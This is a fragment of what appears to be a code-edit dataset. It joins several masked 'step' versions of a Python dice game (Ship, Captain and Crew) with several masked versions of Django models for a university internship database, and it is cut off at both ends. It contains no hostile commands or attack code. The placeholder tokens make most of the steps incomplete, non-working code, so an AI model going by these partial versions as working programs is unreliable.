)\n else:\n n = n + 1\n\n\n<mask token>\nfor i in players:\n multi()\n", "step-3": "<mask token>\n\n\ndef multi():\n scc = [6, 5, 4]\n sc = [6, 5]\n cc = [5, 4]\n crew = [4]\n captain = [5]\n ship = [6]\n n = 0\n while n <= 2:\n inp = input('Hit enter to roll')\n if inp == '':\n roll5 = random.choices(range(1, 7), k=5)\n print(roll5)\n if set(scc).issubset(roll5):\n result_scc = [i for i in roll5 if not i in scc or scc.remove(i)\n ]\n total_scc = sum(result_scc)\n inp_scc = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_scc == 'both':\n print('Total score: ' + str(total_scc) + '.')\n if inp_scc == 'neither':\n roll2_scc = random.choices(range(1, 7), k=2)\n print(roll2_scc)\n inp_scc_none = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_scc_none == 'both':\n total_scc_none = sum(roll2_scc)\n print('Total score: ' + str(total_scc_none) + '.')\n if inp_scc_none == 'neither':\n roll2_scc_none = random.choices(range(1, 7), k=2)\n total_scc_none2 = sum(roll2_scc_none)\n print(roll2_scc_none)\n print('Your total score is: ' + str(total_scc_none2\n ) + '.')\n if inp_scc_none == 'one':\n inp_scc_none_one = input(\n 'Which die do you want to keep? ')\n roll1_scc_none_one = random.randint(1, 6)\n total_scc_none_one = roll1_scc_none_one + int(\n inp_scc_none_one)\n print(roll1_scc_none_one)\n print('Your total score is: ' + str(\n total_scc_none_one) + '.')\n if inp_scc == 'one':\n inp_scc_one = input('Which die do you want to keep? ')\n roll1_scc_one = random.randint(1, 6)\n print(roll1_scc_one)\n total_scc_one = roll1_scc_one + int(inp_scc_one)\n inp_scc_one2 = input(\n \"Hit enter to roll again or type 'pass' to keep your score \"\n )\n if inp_scc_one2 == 'pass':\n print('Your total score is: ' + str(total_scc_one) +\n '.')\n if inp_scc_one2 == '':\n roll1_scc_one2 = random.randint(1, 6)\n print(roll1_scc_one2)\n total_scc_one2 = roll1_scc_one2 + int(inp_scc_one)\n print('Your total score is: ' + str(total_scc_one2) +\n '.')\n if set(sc).issubset(roll5):\n inp_sc = input(\n 'Now you need a 4(the Crew). Hit enter to roll the remaining dice'\n )\n if inp_sc == '':\n roll3 = random.choices(range(1, 7), k=3)\n print(roll3)\n if set(crew).issubset(roll3):\n result_crew = [i for i in roll3 if not i in crew or\n crew.remove(i)]\n total_crew = sum(result_crew)\n inp_crew = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_crew == 'both':\n print('Total score: ' + str(total_crew) + '.')\n if inp_crew == 'neither':\n roll2_crew = random.choices(range(1, 7), k=2)\n print(roll2_crew)\n total_crew_none = sum(roll2_crew)\n print('Your total score is: ' + str(\n total_crew_none) + '.')\n if inp_crew == 'one':\n inp_crew_one = input(\n 'Which die do you want to keep? ')\n roll1_crew_one = random.randint(1, 6)\n print(roll1_crew_one)\n total_crew_one = roll1_crew_one + int(inp_crew_one)\n print('Your total score is: ' + str(\n total_crew_one) + '.')\n else:\n inp_sc3 = input('Still no 4. Hit enter to roll again')\n if inp_sc3 == '':\n roll3_sc3 = random.choices(range(1, 7), k=3)\n print(roll3_sc3)\n if set(crew).issubset(roll3_sc3):\n result_crew_sc3 = [i for i in roll3_sc3 if \n not i in crew or crew.remove(i)]\n total_crew_sc3 = sum(result_crew_sc3)\n print('Your total score is: ' + str(\n total_crew_sc3) + '.')\n else:\n print(\n \"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\"\n )\n if set(ship).issubset(roll5) and 5 not in roll5 and n < 2:\n inp_ship = input(\n 'Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice '\n )\n if inp_ship == '':\n roll4_ship = random.choices(range(1, 7), k=4)\n print(roll4_ship)\n if set(cc).issubset(roll4_ship):\n result_ship_cc = [i for i in roll4_ship if not i in\n cc or cc.remove(i)]\n total_ship_cc = sum(result_ship_cc)\n inp_ship_cc = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_ship_cc == 'both':\n print('Your total is: ' + str(total_ship_cc) + '.')\n if inp_ship_cc == 'neither':\n roll2_cc = random.choices(range(1, 7), k=2)\n print(roll2_cc)\n total_ship_cc_none = sum(roll2_cc)\n print('Your total score is: ' + str(\n total_ship_cc_none) + '.')\n if inp_ship_cc == 'one':\n inp_ship_cc_one = input(\n 'Which die do you want to keep? ')\n roll1_ship_cc_one = random.randint(1, 6)\n print(roll1_ship_cc_one)\n total_ship_cc_one = roll1_ship_cc_one + int(\n inp_ship_cc_one)\n print('Your total score is: ' + str(\n total_ship_cc_one) + '.')\n if set(captain).issubset(roll4_ship):\n roll3_captain = random.choices(range(1, 7), k=3)\n print(roll3_captain)\n if set(crew).issubset(roll3_captain):\n result_ship_captain = [i for i in roll3_captain if\n not i in crew or crew.remove(i)]\n total_ship_captain = sum(result_ship_captain)\n print('Your total score is: ' + str(\n total_ship_captain) + '.')\n else:\n print(\n \"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\"\n )\n else:\n n = n + 1\n\n\ninp = input('How many players are there? ')\nplayers = range(int(inp))\nroll_dict = dict()\nfor i in players:\n multi()\n", "step-4": "import random\n\n\ndef multi():\n scc = [6, 5, 4]\n sc = [6, 5]\n cc = [5, 4]\n crew = [4]\n captain = [5]\n ship = [6]\n n = 0\n while n <= 2:\n inp = input('Hit enter to roll')\n if inp == '':\n roll5 = random.choices(range(1, 7), k=5)\n print(roll5)\n if set(scc).issubset(roll5):\n result_scc = [i for i in roll5 if not i in scc or scc.remove(i)\n ]\n total_scc = sum(result_scc)\n inp_scc = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_scc == 'both':\n print('Total score: ' + str(total_scc) + '.')\n if inp_scc == 'neither':\n roll2_scc = random.choices(range(1, 7), k=2)\n print(roll2_scc)\n inp_scc_none = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_scc_none == 'both':\n total_scc_none = sum(roll2_scc)\n print('Total score: ' + str(total_scc_none) + '.')\n if inp_scc_none == 'neither':\n roll2_scc_none = random.choices(range(1, 7), k=2)\n total_scc_none2 = sum(roll2_scc_none)\n print(roll2_scc_none)\n print('Your total score is: ' + str(total_scc_none2\n ) + '.')\n if inp_scc_none == 'one':\n inp_scc_none_one = input(\n 'Which die do you want to keep? ')\n roll1_scc_none_one = random.randint(1, 6)\n total_scc_none_one = roll1_scc_none_one + int(\n inp_scc_none_one)\n print(roll1_scc_none_one)\n print('Your total score is: ' + str(\n total_scc_none_one) + '.')\n if inp_scc == 'one':\n inp_scc_one = input('Which die do you want to keep? ')\n roll1_scc_one = random.randint(1, 6)\n print(roll1_scc_one)\n total_scc_one = roll1_scc_one + int(inp_scc_one)\n inp_scc_one2 = input(\n \"Hit enter to roll again or type 'pass' to keep your score \"\n )\n if inp_scc_one2 == 'pass':\n print('Your total score is: ' + str(total_scc_one) +\n '.')\n if inp_scc_one2 == '':\n roll1_scc_one2 = random.randint(1, 6)\n print(roll1_scc_one2)\n total_scc_one2 = roll1_scc_one2 + int(inp_scc_one)\n print('Your total score is: ' + str(total_scc_one2) +\n '.')\n if set(sc).issubset(roll5):\n inp_sc = input(\n 'Now you need a 4(the Crew). Hit enter to roll the remaining dice'\n )\n if inp_sc == '':\n roll3 = random.choices(range(1, 7), k=3)\n print(roll3)\n if set(crew).issubset(roll3):\n result_crew = [i for i in roll3 if not i in crew or\n crew.remove(i)]\n total_crew = sum(result_crew)\n inp_crew = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_crew == 'both':\n print('Total score: ' + str(total_crew) + '.')\n if inp_crew == 'neither':\n roll2_crew = random.choices(range(1, 7), k=2)\n print(roll2_crew)\n total_crew_none = sum(roll2_crew)\n print('Your total score is: ' + str(\n total_crew_none) + '.')\n if inp_crew == 'one':\n inp_crew_one = input(\n 'Which die do you want to keep? ')\n roll1_crew_one = random.randint(1, 6)\n print(roll1_crew_one)\n total_crew_one = roll1_crew_one + int(inp_crew_one)\n print('Your total score is: ' + str(\n total_crew_one) + '.')\n else:\n inp_sc3 = input('Still no 4. Hit enter to roll again')\n if inp_sc3 == '':\n roll3_sc3 = random.choices(range(1, 7), k=3)\n print(roll3_sc3)\n if set(crew).issubset(roll3_sc3):\n result_crew_sc3 = [i for i in roll3_sc3 if \n not i in crew or crew.remove(i)]\n total_crew_sc3 = sum(result_crew_sc3)\n print('Your total score is: ' + str(\n total_crew_sc3) + '.')\n else:\n print(\n \"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\"\n )\n if set(ship).issubset(roll5) and 5 not in roll5 and n < 2:\n inp_ship = input(\n 'Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice '\n )\n if inp_ship == '':\n roll4_ship = random.choices(range(1, 7), k=4)\n print(roll4_ship)\n if set(cc).issubset(roll4_ship):\n result_ship_cc = [i for i in roll4_ship if not i in\n cc or cc.remove(i)]\n total_ship_cc = sum(result_ship_cc)\n inp_ship_cc = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_ship_cc == 'both':\n print('Your total is: ' + str(total_ship_cc) + '.')\n if inp_ship_cc == 'neither':\n roll2_cc = random.choices(range(1, 7), k=2)\n print(roll2_cc)\n total_ship_cc_none = sum(roll2_cc)\n print('Your total score is: ' + str(\n total_ship_cc_none) + '.')\n if inp_ship_cc == 'one':\n inp_ship_cc_one = input(\n 'Which die do you want to keep? ')\n roll1_ship_cc_one = random.randint(1, 6)\n print(roll1_ship_cc_one)\n total_ship_cc_one = roll1_ship_cc_one + int(\n inp_ship_cc_one)\n print('Your total score is: ' + str(\n total_ship_cc_one) + '.')\n if set(captain).issubset(roll4_ship):\n roll3_captain = random.choices(range(1, 7), k=3)\n print(roll3_captain)\n if set(crew).issubset(roll3_captain):\n result_ship_captain = [i for i in roll3_captain if\n not i in crew or crew.remove(i)]\n total_ship_captain = sum(result_ship_captain)\n print('Your total score is: ' + str(\n total_ship_captain) + '.')\n else:\n print(\n \"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\"\n )\n else:\n n = n + 1\n\n\ninp = input('How many players are there? ')\nplayers = range(int(inp))\nroll_dict = dict()\nfor i in players:\n multi()\n", "step-5": "import random\ndef multi():\n\n scc = [6, 5, 4]\n sc = [6, 5]\n cc = [5, 4]\n crew = [4]\n captain = [5]\n ship = [6]\n n = 0\n while n <= 2:\n inp = input(\"Hit enter to roll\")\n if inp == \"\":\n roll5 = random.choices(range(1, 7), k=5)\n print(roll5)\n if set(scc).issubset(roll5):\n result_scc = [i for i in roll5 if not i in scc or scc.remove(i)]\n total_scc = sum(result_scc)\n inp_scc = input(\"Do you wish to keep one, both, or neither of the remaining dice? \")\n if inp_scc == \"both\":\n print(\"Total score: \" + str(total_scc) + \".\")\n if inp_scc == \"neither\":\n roll2_scc = random.choices(range(1, 7), k=2)\n print(roll2_scc)\n inp_scc_none = input(\"Do you wish to keep one, both, or neither of the remaining dice? \")\n if inp_scc_none == \"both\":\n total_scc_none = sum(roll2_scc)\n print(\"Total score: \" + str(total_scc_none) + \".\")\n if inp_scc_none == \"neither\":\n roll2_scc_none = random.choices(range(1, 7), k=2)\n total_scc_none2 = sum(roll2_scc_none)\n print(roll2_scc_none)\n print(\"Your total score is: \" + str(total_scc_none2) + \".\")\n if inp_scc_none == \"one\":\n inp_scc_none_one = input(\"Which die do you want to keep? \")\n roll1_scc_none_one = random.randint(1, 6)\n total_scc_none_one = roll1_scc_none_one + int(inp_scc_none_one)\n print(roll1_scc_none_one)\n print(\"Your total score is: \" + str(total_scc_none_one) + \".\")\n if inp_scc == \"one\":\n inp_scc_one = input(\"Which die do you want to keep? \")\n roll1_scc_one = random.randint(1, 6)\n print(roll1_scc_one)\n total_scc_one = roll1_scc_one + int(inp_scc_one)\n inp_scc_one2 = input(\"Hit enter to roll again or type 'pass' to keep your score \")\n if inp_scc_one2 == \"pass\":\n print(\"Your total score is: \" + str(total_scc_one) + \".\")\n if inp_scc_one2 == \"\":\n roll1_scc_one2 = random.randint(1, 6)\n print(roll1_scc_one2)\n total_scc_one2 = roll1_scc_one2 + int(inp_scc_one)\n print(\"Your total score is: \" + str(total_scc_one2) + \".\")\n if set(sc).issubset(roll5):\n inp_sc = input(\"Now you need a 4(the Crew). Hit enter to roll the remaining dice\")\n if inp_sc == \"\":\n roll3 = random.choices(range(1, 7), k=3)\n print(roll3)\n if set(crew).issubset(roll3):\n result_crew = [i for i in roll3 if not i in crew or crew.remove(i)]\n total_crew = sum(result_crew)\n inp_crew = input(\"Do you wish to keep one, both, or neither of the remaining dice? \")\n if inp_crew == \"both\":\n print(\"Total score: \" + str(total_crew) + \".\")\n if inp_crew == \"neither\":\n roll2_crew = random.choices(range(1, 7), k=2)\n print(roll2_crew)\n total_crew_none = sum(roll2_crew)\n print(\"Your total score is: \" + str(total_crew_none) + \".\")\n if inp_crew == \"one\":\n inp_crew_one = input(\"Which die do you want to keep? \")\n roll1_crew_one = random.randint(1, 6)\n print(roll1_crew_one)\n total_crew_one = roll1_crew_one + int(inp_crew_one)\n print(\"Your total score is: \" + str(total_crew_one) + \".\")\n else:\n inp_sc3 = input(\"Still no 4. Hit enter to roll again\")\n if inp_sc3 == \"\":\n roll3_sc3 = random.choices(range(1, 7), k=3)\n print(roll3_sc3)\n if set(crew).issubset(roll3_sc3):\n result_crew_sc3 = [i for i in roll3_sc3 if not i in crew or crew.remove(i)]\n total_crew_sc3 = sum(result_crew_sc3)\n print(\"Your total score is: \" + str(total_crew_sc3) + \".\")\n else:\n print(\"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\")\n if set(ship).issubset(roll5) and 5 not in roll5 and n < 2:\n inp_ship = input(\n \"Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice \")\n if inp_ship == \"\":\n roll4_ship = random.choices(range(1, 7), k=4)\n print(roll4_ship)\n if set(cc).issubset(roll4_ship):\n result_ship_cc = [i for i in roll4_ship if not i in cc or cc.remove(i)]\n total_ship_cc = sum(result_ship_cc)\n inp_ship_cc = input(\"Do you wish to keep one, both, or neither of the remaining dice? \")\n if inp_ship_cc == \"both\":\n print(\"Your total is: \" + str(total_ship_cc) + \".\")\n if inp_ship_cc == \"neither\":\n roll2_cc = random.choices(range(1, 7), k=2)\n print(roll2_cc)\n total_ship_cc_none = sum(roll2_cc)\n print(\"Your total score is: \" + str(total_ship_cc_none) + \".\")\n if inp_ship_cc == \"one\":\n inp_ship_cc_one = input(\"Which die do you want to keep? \")\n roll1_ship_cc_one = random.randint(1, 6)\n print(roll1_ship_cc_one)\n total_ship_cc_one = roll1_ship_cc_one + int(inp_ship_cc_one)\n print(\"Your total score is: \" + str(total_ship_cc_one) + \".\")\n if set(captain).issubset(roll4_ship):\n roll3_captain = random.choices(range(1, 7), k=3)\n print(roll3_captain)\n if set(crew).issubset(roll3_captain):\n result_ship_captain = [i for i in roll3_captain if not i in crew or crew.remove(i)]\n total_ship_captain = sum(result_ship_captain)\n print(\"Your total score is: \" + str(total_ship_captain) + \".\")\n else:\n print(\"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\")\n else:\n n = n + 1\n\n\ninp = input(\"How many players are there? \")\nplayers = range(int(inp))\nroll_dict = dict()\nfor i in players:\n multi()", "step-ids": [ 1, 2, 3, 4, 5 ] }	[ 1, 2, 3, 4, 5 ]
<\|reserved_special_token_0\|> class cursos(models.Model): <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> def __str__(self): return self.nome class Meta: managed = False db_table = 'cursos' verbose_name = 'Cad.Curso' class profcoorest(models.Model): masp = models.IntegerField(primary_key=True) nome = models.CharField(max_length=50) curso = models.ForeignKey('cursos', db_column='curso', on_delete=models .CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'profcoorest' verbose_name = 'Cad.Profcoorest' class alunos(models.Model): matricula = models.IntegerField(primary_key=True) nome = models.CharField(max_length=100) sexo = models.CharField(max_length=1) datanasc = models.DateField() periodo = models.IntegerField() curso = models.ForeignKey('cursos', db_column='curso', on_delete=models .CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'alunos' verbose_name = 'Cad.Aluno' class estagio(models.Model): codigo = models.AutoField(primary_key=True) aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models .CASCADE) profest = models.ForeignKey('profcoorest', db_column='profest', on_delete=models.CASCADE) remunerado = models.CharField(max_length=1) valor = models.DecimalField(max_digits=6, decimal_places=2) empresa = models.CharField(max_length=30) cargahr = models.IntegerField() descr_est = models.CharField(max_length=256) resp_est = models.CharField(max_length=50) def __str__(self): return '%s' % self.codigo class Meta: managed = False db_table = 'estagio' verbose_name = 'Cad.Estagio' <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class faculdades(models.Model): <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> class Meta: managed = False db_table = 'faculdades' verbose_name = 'Cad.Faculdade' class cursos(models.Model): codigo = models.AutoField(primary_key=True) nome = models.CharField(max_length=50) departamento = models.CharField(max_length=30) faculdade = models.ForeignKey('faculdades', db_column='faculdade', on_delete=models.CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'cursos' verbose_name = 'Cad.Curso' class profcoorest(models.Model): masp = models.IntegerField(primary_key=True) nome = models.CharField(max_length=50) curso = models.ForeignKey('cursos', db_column='curso', on_delete=models .CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'profcoorest' verbose_name = 'Cad.Profcoorest' class alunos(models.Model): matricula = models.IntegerField(primary_key=True) nome = models.CharField(max_length=100) sexo = models.CharField(max_length=1) datanasc = models.DateField() periodo = models.IntegerField() curso = models.ForeignKey('cursos', db_column='curso', on_delete=models .CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'alunos' verbose_name = 'Cad.Aluno' class estagio(models.Model): codigo = models.AutoField(primary_key=True) aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models .CASCADE) profest = models.ForeignKey('profcoorest', db_column='profest', on_delete=models.CASCADE) remunerado = models.CharField(max_length=1) valor = models.DecimalField(max_digits=6, decimal_places=2) empresa = models.CharField(max_length=30) cargahr = models.IntegerField() descr_est = models.CharField(max_length=256) resp_est = models.CharField(max_length=50) def __str__(self): return '%s' % self.codigo class Meta: managed = False db_table = 'estagio' verbose_name = 'Cad.Estagio' <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class faculdades(models.Model): <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> def __str__(self): return self.nome class Meta: managed = False db_table = 'faculdades' verbose_name = 'Cad.Faculdade' class cursos(models.Model): codigo = models.AutoField(primary_key=True) nome = models.CharField(max_length=50) departamento = models.CharField(max_length=30) faculdade = models.ForeignKey('faculdades', db_column='faculdade', on_delete=models.CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'cursos' verbose_name = 'Cad.Curso' class profcoorest(models.Model): masp = models.IntegerField(primary_key=True) nome = models.CharField(max_length=50) curso = models.ForeignKey('cursos', db_column='curso', on_delete=models .CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'profcoorest' verbose_name = 'Cad.Profcoorest' class alunos(models.Model): matricula = models.IntegerField(primary_key=True) nome = models.CharField(max_length=100) sexo = models.CharField(max_length=1) datanasc = models.DateField() periodo = models.IntegerField() curso = models.ForeignKey('cursos', db_column='curso', on_delete=models .CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'alunos' verbose_name = 'Cad.Aluno' class estagio(models.Model): codigo = models.AutoField(primary_key=True) aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models .CASCADE) profest = models.ForeignKey('profcoorest', db_column='profest', on_delete=models.CASCADE) remunerado = models.CharField(max_length=1) valor = models.DecimalField(max_digits=6, decimal_places=2) empresa = models.CharField(max_length=30) cargahr = models.IntegerField() descr_est = models.CharField(max_length=256) resp_est = models.CharField(max_length=50) def __str__(self): return '%s' % self.codigo class Meta: managed = False db_table = 'estagio' verbose_name = 'Cad.Estagio' <\|reserved_special_token_1\|> from django.db import models class faculdades(models.Model): codigo = models.IntegerField(primary_key=True) nome = models.CharField(max_length=50) cidade = models.CharField(max_length=30) estado = models.CharField(max_length=20) pais = models.CharField(max_length=20) def __str__(self): return self.nome class Meta: managed = False db_table = 'faculdades' verbose_name = 'Cad.Faculdade' class cursos(models.Model): codigo = models.AutoField(primary_key=True) nome = models.CharField(max_length=50) departamento = models.CharField(max_length=30) faculdade = models.ForeignKey('faculdades', db_column='faculdade', on_delete=models.CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'cursos' verbose_name = 'Cad.Curso' class profcoorest(models.Model): masp = models.IntegerField(primary_key=True) nome = models.CharField(max_length=50) curso = models.ForeignKey('cursos', db_column='curso', on_delete=models .CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'profcoorest' verbose_name = 'Cad.Profcoorest' class alunos(models.Model): matricula = models.IntegerField(primary_key=True) nome = models.CharField(max_length=100) sexo = models.CharField(max_length=1) datanasc = models.DateField() periodo = models.IntegerField() curso = models.ForeignKey('cursos', db_column='curso', on_delete=models .CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'alunos' verbose_name = 'Cad.Aluno' class estagio(models.Model): codigo = models.AutoField(primary_key=True) aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models .CASCADE) profest = models.ForeignKey('profcoorest', db_column='profest', on_delete=models.CASCADE) remunerado = models.CharField(max_length=1) valor = models.DecimalField(max_digits=6, decimal_places=2) empresa = models.CharField(max_length=30) cargahr = models.IntegerField() descr_est = models.CharField(max_length=256) resp_est = models.CharField(max_length=50) def __str__(self): return '%s' % self.codigo class Meta: managed = False db_table = 'estagio' verbose_name = 'Cad.Estagio' <\|reserved_special_token_1\|> from django.db import models class faculdades(models.Model): codigo = models.IntegerField(primary_key = True) nome = models.CharField(max_length=50) cidade = models.CharField(max_length=30) estado = models.CharField(max_length=20) pais = models.CharField(max_length=20) def __str__(self): return self.nome class Meta: managed = False db_table = 'faculdades' verbose_name = 'Cad.Faculdade' class cursos(models.Model): codigo = models.AutoField(primary_key = True) nome = models.CharField(max_length=50) departamento = models.CharField(max_length=30) faculdade = models.ForeignKey('faculdades', db_column='faculdade', on_delete=models.CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'cursos' verbose_name = 'Cad.Curso' class profcoorest(models.Model): masp = models.IntegerField(primary_key = True) nome = models.CharField(max_length=50) curso = models.ForeignKey('cursos', db_column='curso', on_delete=models.CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'profcoorest' verbose_name = 'Cad.Profcoorest' class alunos(models.Model): matricula = models.IntegerField(primary_key = True) nome = models.CharField(max_length=100) sexo = models.CharField(max_length=1) datanasc = models.DateField() periodo = models.IntegerField() curso = models.ForeignKey('cursos', db_column='curso', on_delete=models.CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'alunos' verbose_name = 'Cad.Aluno' class estagio(models.Model): codigo = models.AutoField(primary_key = True) aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models.CASCADE) profest = models.ForeignKey('profcoorest', db_column='profest', on_delete=models.CASCADE) remunerado = models.CharField(max_length=1) valor = models.DecimalField(max_digits=6, decimal_places=2) empresa = models.CharField(max_length=30) cargahr = models.IntegerField() descr_est = models.CharField(max_length=256) resp_est = models.CharField(max_length=50) def __str__(self): return '%s' % (self.codigo) class Meta: managed = False db_table = 'estagio' verbose_name = 'Cad.Estagio'	flexible	{ "blob_id": "20e5220ce23aaaedbfafe599b352f5d3a220e82e", "index": 6687, "step-1": "<mask token>\n\n\nclass cursos(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'cursos'\n verbose_name = 'Cad.Curso'\n\n\nclass profcoorest(models.Model):\n masp = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=50)\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'profcoorest'\n verbose_name = 'Cad.Profcoorest'\n\n\nclass alunos(models.Model):\n matricula = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=100)\n sexo = models.CharField(max_length=1)\n datanasc = models.DateField()\n periodo = models.IntegerField()\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'alunos'\n verbose_name = 'Cad.Aluno'\n\n\nclass estagio(models.Model):\n codigo = models.AutoField(primary_key=True)\n aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models\n .CASCADE)\n profest = models.ForeignKey('profcoorest', db_column='profest',\n on_delete=models.CASCADE)\n remunerado = models.CharField(max_length=1)\n valor = models.DecimalField(max_digits=6, decimal_places=2)\n empresa = models.CharField(max_length=30)\n cargahr = models.IntegerField()\n descr_est = models.CharField(max_length=256)\n resp_est = models.CharField(max_length=50)\n\n def __str__(self):\n return '%s' % self.codigo\n\n\n class Meta:\n managed = False\n db_table = 'estagio'\n verbose_name = 'Cad.Estagio'\n", "step-2": "<mask token>\n\n\nclass faculdades(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\n class Meta:\n managed = False\n db_table = 'faculdades'\n verbose_name = 'Cad.Faculdade'\n\n\nclass cursos(models.Model):\n codigo = models.AutoField(primary_key=True)\n nome = models.CharField(max_length=50)\n departamento = models.CharField(max_length=30)\n faculdade = models.ForeignKey('faculdades', db_column='faculdade',\n on_delete=models.CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'cursos'\n verbose_name = 'Cad.Curso'\n\n\nclass profcoorest(models.Model):\n masp = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=50)\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'profcoorest'\n verbose_name = 'Cad.Profcoorest'\n\n\nclass alunos(models.Model):\n matricula = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=100)\n sexo = models.CharField(max_length=1)\n datanasc = models.DateField()\n periodo = models.IntegerField()\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'alunos'\n verbose_name = 'Cad.Aluno'\n\n\nclass estagio(models.Model):\n codigo = models.AutoField(primary_key=True)\n aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models\n .CASCADE)\n profest = models.ForeignKey('profcoorest', db_column='profest',\n on_delete=models.CASCADE)\n remunerado = models.CharField(max_length=1)\n valor = models.DecimalField(max_digits=6, decimal_places=2)\n empresa = models.CharField(max_length=30)\n cargahr = models.IntegerField()\n descr_est = models.CharField(max_length=256)\n resp_est = models.CharField(max_length=50)\n\n def __str__(self):\n return '%s' % self.codigo\n\n\n class Meta:\n managed = False\n db_table = 'estagio'\n verbose_name = 'Cad.Estagio'\n", "step-3": "<mask token>\n\n\nclass faculdades(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'faculdades'\n verbose_name = 'Cad.Faculdade'\n\n\nclass cursos(models.Model):\n codigo = models.AutoField(primary_key=True)\n nome = models.CharField(max_length=50)\n departamento = models.CharField(max_length=30)\n faculdade = models.ForeignKey('faculdades', db_column='faculdade',\n on_delete=models.CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'cursos'\n verbose_name = 'Cad.Curso'\n\n\nclass profcoorest(models.Model):\n masp = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=50)\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'profcoorest'\n verbose_name = 'Cad.Profcoorest'\n\n\nclass alunos(models.Model):\n matricula = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=100)\n sexo = models.CharField(max_length=1)\n datanasc = models.DateField()\n periodo = models.IntegerField()\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'alunos'\n verbose_name = 'Cad.Aluno'\n\n\nclass estagio(models.Model):\n codigo = models.AutoField(primary_key=True)\n aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models\n .CASCADE)\n profest = models.ForeignKey('profcoorest', db_column='profest',\n on_delete=models.CASCADE)\n remunerado = models.CharField(max_length=1)\n valor = models.DecimalField(max_digits=6, decimal_places=2)\n empresa = models.CharField(max_length=30)\n cargahr = models.IntegerField()\n descr_est = models.CharField(max_length=256)\n resp_est = models.CharField(max_length=50)\n\n def __str__(self):\n return '%s' % self.codigo\n\n\n class Meta:\n managed = False\n db_table = 'estagio'\n verbose_name = 'Cad.Estagio'\n", "step-4": "from django.db import models\n\n\nclass faculdades(models.Model):\n codigo = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=50)\n cidade = models.CharField(max_length=30)\n estado = models.CharField(max_length=20)\n pais = models.CharField(max_length=20)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'faculdades'\n verbose_name = 